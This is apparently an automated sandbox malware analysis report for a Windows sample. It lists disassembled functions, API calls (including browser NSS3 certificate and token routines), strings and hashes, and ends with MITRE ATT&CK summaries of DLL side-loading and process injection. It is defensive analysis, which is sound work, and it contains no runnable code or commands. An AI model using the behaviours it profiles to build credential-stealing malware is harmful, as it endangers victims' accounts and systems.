Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: MemoryProcessRead$QueryVirtual
String ID:
API String ID: 268806267-0
Opcode ID: 657223b197f249347193c7e8189b6792d9a4a43cf19b981f0f7ccf5a3022f747
Instruction ID: 4258c31c8466d190b8b95b43cb7d6b7e40754881c5050620779a8900b81cdb81
Opcode Fuzzy Hash: 657223b197f249347193c7e8189b6792d9a4a43cf19b981f0f7ccf5a3022f747
Instruction Fuzzy Hash: 2B41A131B00125EBDF10CFA4EA84BAFB7B6FB44710F64416AE915A7340C679DD51CBA8

Function 00421F50 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 95stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00421F64
strlen.MSVCRT ref: 00421F7F
strlen.MSVCRT ref: 0042203F

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00421F5F, 00421F75, 00422037

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: strlen
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 39653677-4138519520
Opcode ID: ba27ff0902c7d9ce2677c560a67e941ed3528a3bd17903be9694f68e3a2944c8
Instruction ID: 37c2f0b0f7286e1d5825dcaaefca8eb0b7a8115836ff97326ebe0cf77c59b1dc
Opcode Fuzzy Hash: ba27ff0902c7d9ce2677c560a67e941ed3528a3bd17903be9694f68e3a2944c8
Instruction Fuzzy Hash: 5821983A600199AAD720EA35E5846EEF3A7EF80361FD04053C8184B392E779190AD79E

Function 00421E80 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 73stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00421EA2

Part of subcall function 004089B0: std::_Xinvalid_argument.LIBCPMT ref: 004089C6

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_., xrefs: 00421E89, 00421EAD
;%B, xrefs: 00421F36, 00421F08
;%B, xrefs: 00421ED5

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_strlen
String ID: ;%B$;%B$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.
API String ID: 2690205326-835403949
Opcode ID: 7ba2daa09bfa33b0e26169024b16ef346c82a752727def34fd8ccab903f6e7bf
Instruction ID: d356f64badbf720d3a97cba98041371725f8da0a1ae3052550904b3d9a35e8b9
Opcode Fuzzy Hash: 7ba2daa09bfa33b0e26169024b16ef346c82a752727def34fd8ccab903f6e7bf
Instruction Fuzzy Hash: FF217F71B002199BCB10DFA9DA403DEF7F5EF88324F2046BAE514A3380DB759E458B95

Function 6CAFACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CAFACC2

Part of subcall function 6CAD2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CAD2F0A
Part of subcall function 6CAD2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CAD2F1D

Part of subcall function 6CAD2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CAD0A1B,00000000), ref: 6CAD2AF0
Part of subcall function 6CAD2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CAFAD5E

Part of subcall function 6CB157D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CADB41E,00000000,00000000,?,00000000,?,6CADB41E,00000000,00000000,00000001,?), ref: 6CB157E0
Part of subcall function 6CB157D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CB15843

CERT_DestroyCertList.NSS3(?), ref: 6CAFAD36

Part of subcall function 6CAD2F50: CERT_DestroyCertificate.NSS3(?), ref: 6CAD2F65
Part of subcall function 6CAD2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAD2F83

free.MOZGLUE(?), ref: 6CAFAD4F

Memory Dump Source

Source File: 00000000.00000002.2676354714.000000006CA51000.00000020.00000001.01000000.00000011.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2676328194.000000006CA50000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676537460.000000006CC2E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676563825.000000006CC2F000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676590401.000000006CC30000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676617693.000000006CC35000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_2BI8rJKpBa.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 3b8ece8fb505a5662fc359ab0dcd68606c2d31438667d90091d6e94803086c46
Instruction ID: 3aa28a759dc2a697246d47766604e242fb316b61ee441d9e3a54dbe0b75bd063
Opcode Fuzzy Hash: 3b8ece8fb505a5662fc359ab0dcd68606c2d31438667d90091d6e94803086c46
Instruction Fuzzy Hash: 2721C6B1D002148BEF10DF64D9055EEB7B5EF09248F054168E819BB700F731AE9ACBE1

Function 6CB2ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CB2F0AD,6CB2F150,?,6CB2F150,?,?,?), ref: 6CB2ECBA

Part of subcall function 6CB30FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAD87ED,00000800,6CACEF74,00000000), ref: 6CB31000
Part of subcall function 6CB30FF0: PR_NewLock.NSS3(?,00000800,6CACEF74,00000000), ref: 6CB31016
Part of subcall function 6CB30FF0: PL_InitArenaPool.NSS3(00000000,security,6CAD87ED,00000008,?,00000800,6CACEF74,00000000), ref: 6CB3102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CB2ECD1

Part of subcall function 6CB310C0: TlsGetValue.KERNEL32(?,6CAD8802,00000000,00000008,?,6CACEF74,00000000), ref: 6CB310F3
Part of subcall function 6CB310C0: EnterCriticalSection.KERNEL32(?,?,6CAD8802,00000000,00000008,?,6CACEF74,00000000), ref: 6CB3110C
Part of subcall function 6CB310C0: PL_ArenaAllocate.NSS3(?,?,?,6CAD8802,00000000,00000008,?,6CACEF74,00000000), ref: 6CB31141
Part of subcall function 6CB310C0: PR_Unlock.NSS3(?,?,?,6CAD8802,00000000,00000008,?,6CACEF74,00000000), ref: 6CB31182
Part of subcall function 6CB310C0: TlsGetValue.KERNEL32(?,6CAD8802,00000000,00000008,?,6CACEF74,00000000), ref: 6CB3119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CB2ED02

Part of subcall function 6CB310C0: PL_ArenaAllocate.NSS3(?,6CAD8802,00000000,00000008,?,6CACEF74,00000000), ref: 6CB3116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CB2ED5A

Memory Dump Source

Source File: 00000000.00000002.2676354714.000000006CA51000.00000020.00000001.01000000.00000011.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2676328194.000000006CA50000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676537460.000000006CC2E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676563825.000000006CC2F000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676590401.000000006CC30000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676617693.000000006CC35000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_2BI8rJKpBa.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 0bf8016f3fb9652127e12b3079977df72df450d49d7809461075534a3058b710
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 282104B19007D25BE700CF22D904B6AB7E4FFA4349F15C216E81C8B661EB74E590C6D1

Function 00423C60 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,0042A460,000000FF,?,0041A70E,?), ref: 00423CC0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,0042A460,000000FF,?,0041A70E,?), ref: 00423CC7
wsprintfA.USER32 ref: 00423CD7

Part of subcall function 00427210: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042722E

Strings

%dx%d, xrefs: 00423CD1

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 2ff14d96e0d5358d4834c4b41320c999d3dcf317fd68a325ac98d56b8202dd35
Instruction ID: e88eb5f2a2a414fb0aebfcd3c5e31255eca91d8a3c185f1a683d75fbab7cbc11
Opcode Fuzzy Hash: 2ff14d96e0d5358d4834c4b41320c999d3dcf317fd68a325ac98d56b8202dd35
Instruction Fuzzy Hash: E601C071744714BFE7105B95DC0AF6ABB69FB45B61F10011AFA05972D0C7F81900CAF5

Function 00422B00 Relevance: 6.0, APIs: 4, Instructions: 48memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000), ref: 00422B2F
HeapAlloc.KERNEL32(00000000), ref: 00422B36
GetLocalTime.KERNEL32(?), ref: 00422B42
wsprintfA.USER32 ref: 00422B6E

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: c677d558a221d97c8446b2720690b2c9f8584bb4bc7dd71c902c6d27fd94e7e5
Instruction ID: ef460e4f05b1cc59e4f337cdf8022e820f68ef2e8f2f31b22460d179b2b2908b
Opcode Fuzzy Hash: c677d558a221d97c8446b2720690b2c9f8584bb4bc7dd71c902c6d27fd94e7e5
Instruction Fuzzy Hash: 720112B2904624ABCB149BD9DD45FBFB7BDFB4CB11F00011AF645A2290E7B85940C7B5

Function 004087B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040880C
memcpy.MSVCRT(?,?,00000000,00000000,004077D7), ref: 00408852

Part of subcall function 004089B0: std::_Xinvalid_argument.LIBCPMT ref: 004089C6

Strings

string too long, xrefs: 00408807

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$memcpy
String ID: string too long
API String ID: 2304785028-2556327735
Opcode ID: a3fee0252a5a21ff3d90c47ca0de8b2d304b152ee57c56917783fe08a72eaea0
Instruction ID: d126da38dd6bb602bcfc441bf5661a7c7fab15c56752bfa7eae51ece10fc8d7b
Opcode Fuzzy Hash: a3fee0252a5a21ff3d90c47ca0de8b2d304b152ee57c56917783fe08a72eaea0
Instruction Fuzzy Hash: 4821A1613006504BDB259A6C8B84A2AB7E5AB82700B64493FF0D1D77C1DFB9DC40879D

Function 00408A90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00408AA5

Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1B8
Part of subcall function 0042A1A3: __CxxThrowException@8.LIBCMT ref: 0042A1CD
Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1DE

memcpy.MSVCRT(?,?,?), ref: 00408AEF

Strings

string too long, xrefs: 00408AA0

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemcpystd::_
String ID: string too long
API String ID: 3281247677-2556327735
Opcode ID: 7654028d3c942c138c0e41ee2f5337c6aa176ef3dfe1a5470cd1ace1706755e2
Instruction ID: 27f9e9e542938199a5e7379f04c479d15af160371705418444f9d0d4cb864180
Opcode Fuzzy Hash: 7654028d3c942c138c0e41ee2f5337c6aa176ef3dfe1a5470cd1ace1706755e2
Instruction Fuzzy Hash: E12125727046045BE720CE6DDA4062BB7E6EBD5320F148A3FE881D33C0DF74A9418798

Function 00408BB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00408BBF

Part of subcall function 0042A1F0: std::exception::exception.LIBCMT ref: 0042A205
Part of subcall function 0042A1F0: __CxxThrowException@8.LIBCMT ref: 0042A21A
Part of subcall function 0042A1F0: std::exception::exception.LIBCMT ref: 0042A22B

memmove.MSVCRT(?,?,?,?,?,004089E2,00000000,?,?,00408800,?,00000000,004077D7), ref: 00408BF5

Strings

invalid string position, xrefs: 00408BBA

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: 6c3022a2e6aeec4e02bdb781a22046954821a165673750bd7b532d3da8c23e9d
Instruction ID: 310960478e8f5ebc7c235669aeb349ba00bff556f05e22beeafa40e71e8a6795
Opcode Fuzzy Hash: 6c3022a2e6aeec4e02bdb781a22046954821a165673750bd7b532d3da8c23e9d
Instruction Fuzzy Hash: FB01D4703047014BD7258A2CEE9062AB3B6DBD1704B24093EE1D2DB785DBB8EC828398

Function 00401410 Relevance: 5.1, APIs: 4, Instructions: 81stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00401510: lstrcpy.KERNEL32(00000000), ref: 0040152D
Part of subcall function 00401510: lstrcpy.KERNEL32(00000000,?), ref: 0040154F
Part of subcall function 00401510: lstrcpy.KERNEL32(00000000,?), ref: 00401571
Part of subcall function 00401510: lstrcpy.KERNEL32(00000000,?), ref: 00401593

lstrcpy.KERNEL32(00000000,?), ref: 00401437
lstrcpy.KERNEL32(00000000,?), ref: 00401459
lstrcpy.KERNEL32(00000000,?), ref: 0040147B
lstrcpy.KERNEL32(00000000,?), ref: 004014DF

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: bea906036c5024bdad2b439cbe047c88e0159a543058b9686e88131c65337636
Instruction ID: 368a80f0553ecf631160e054036b62fbe6d7ddfceb8bd69434bdfc69ba453b92
Opcode Fuzzy Hash: bea906036c5024bdad2b439cbe047c88e0159a543058b9686e88131c65337636
Instruction Fuzzy Hash: 4A31A575A01B029FC728DF3AD588957BBE5BF48704700492EA956D3BA0DB74F811CB94

Function 00421550 Relevance: 5.1, APIs: 4, Instructions: 81stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000), ref: 00421581
lstrcpy.KERNEL32(00000000,?), ref: 004215B9
lstrcpy.KERNEL32(00000000,?), ref: 004215F1
lstrcpy.KERNEL32(00000000,?), ref: 00421629

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 604888abc721261d7aafca65ba67b21b1d0f497530fd10603a6c748b7454a6cf
Instruction ID: 80d308abde563585a592328bb7eba962bc113a2ea9b505a2ad5a72594fb3347d
Opcode Fuzzy Hash: 604888abc721261d7aafca65ba67b21b1d0f497530fd10603a6c748b7454a6cf
Instruction Fuzzy Hash: EE211EB4701B029BD724DF3AD958A17B7F5BF54700B444A2EA486D7BA0DB78F840CBA4

Function 00406E32 Relevance: 5.1, APIs: 4, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,00000040), ref: 00406E40
memcpy.MSVCRT(?,00005A4D,000000F8), ref: 00406E7C
GetProcessHeap.KERNEL32(00000008,?), ref: 00406EB4
HeapAlloc.KERNEL32(00000000), ref: 00406EBB

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heapmemcpy$AllocProcess
String ID:
API String ID: 1643994569-0
Opcode ID: 0f7b886846e76426d6cbee1e2efefd49dca9b7f6cc258be776eaadaa1a2d8544
Instruction ID: 021ca828da5bfa0a796bb6e6c33eee2a11837a2b1fb4363adf8c912b1a52eb88
Opcode Fuzzy Hash: 0f7b886846e76426d6cbee1e2efefd49dca9b7f6cc258be776eaadaa1a2d8544
Instruction Fuzzy Hash: 9A218CB06007029BEB248B21DC84BBB73E8EB40704F44447DEA47DB684EBB8E951CB95

Function 00401510 Relevance: 5.1, APIs: 4, Instructions: 57stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000), ref: 0040152D
lstrcpy.KERNEL32(00000000,?), ref: 0040154F
lstrcpy.KERNEL32(00000000,?), ref: 00401571
lstrcpy.KERNEL32(00000000,?), ref: 00401593

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 1e4db7d30871f81d580a612b99273a05910c7c6a33be4731b3f5a86597217395
Instruction ID: 156e9cd4061fd8f5e73776b1d1d3add2ecf4c06161da7b3eeeca5abdbe74678b
Opcode Fuzzy Hash: 1e4db7d30871f81d580a612b99273a05910c7c6a33be4731b3f5a86597217395
Instruction Fuzzy Hash: 86111275A01B02ABDB14AF36D95C927B7F8BF44305304463EA457E7B90EB78E800CB94

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

